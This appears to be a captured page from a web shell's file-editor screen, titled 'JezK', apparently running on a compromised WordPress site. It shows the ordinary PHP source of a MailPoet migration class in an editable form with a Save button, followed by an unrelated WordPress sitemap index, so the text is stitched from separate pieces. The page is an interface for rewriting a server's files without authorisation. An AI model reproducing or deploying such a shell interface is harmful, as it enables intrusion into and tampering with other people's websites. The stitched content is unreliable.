
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Store.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php declare(strict_types = 1);

namespace MailPoet\Migrator;

if (!defined(&#039;ABSPATH&#039;)) exit;


use MailPoet\Config\Env;
use MailPoetVendor\Doctrine\DBAL\Connection;

class Store {
  /** @var Connection */
  private $connection;

  /** @var string */
  private $table;

  public function __construct(
    Connection $connection
  ) {
    $this-&gt;connection = $connection;
    $this-&gt;table = Env::$dbPrefix . &#039;migrations&#039;;
  }

  public function getMigrationsTable(): string {
    return $this-&gt;table;
  }

  public function startMigration(string $name): void {
    $this-&gt;connection-&gt;executeStatement(&quot;
      INSERT INTO {$this-&gt;table} (name, started_at)
      VALUES (?, current_timestamp())
      ON DUPLICATE KEY UPDATE
        started_at = current_timestamp(),
        completed_at = NULL,
        retries = retries + 1,
        error = NULL
    &quot;, [$name]);
  }

  public function completeMigration(string $name): void {
    $this-&gt;connection-&gt;executeStatement(&quot;
      UPDATE {$this-&gt;table}
      SET completed_at = current_timestamp()
      WHERE name = ?
    &quot;, [$name]);
  }

  public function failMigration(string $name, string $error): void {
    $this-&gt;connection-&gt;executeStatement(&quot;
      UPDATE {$this-&gt;table}
      SET
        completed_at = current_timestamp(),
        error = ?
      WHERE name = ?
    &quot;, [$error ?: &#039;Unknown error&#039;, $name]);
  }

  public function getAll(): array {
    // Some backup plugins may convert NULL values to empty strings,
    // in which case we need to cast the error column value to NULL.
    return $this-&gt;connection-&gt;fetchAllAssociative(&quot;
      SELECT
        id,
        name,
        started_at,
        completed_at,
        retries,
        IF(error = &#039;&#039;, NULL, error) AS error
      FROM {$this-&gt;table}
      ORDER BY id ASC
    &quot;);
  }

  public function ensureMigrationsTable(): void {
    $collate = Env::$dbCharsetCollate;
    $this-&gt;connection-&gt;executeStatement(&quot;
      CREATE TABLE IF NOT EXISTS {$this-&gt;table} (
        id int(11) unsigned NOT NULL AUTO_INCREMENT,
        name varchar(191) NOT NULL,
        started_at timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
        completed_at timestamp NULL,
        retries int(11) unsigned NOT NULL DEFAULT 0,
        error text NULL,
        PRIMARY KEY (id),
        UNIQUE KEY (name)
      ) {$collate};
    &quot;);
  }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
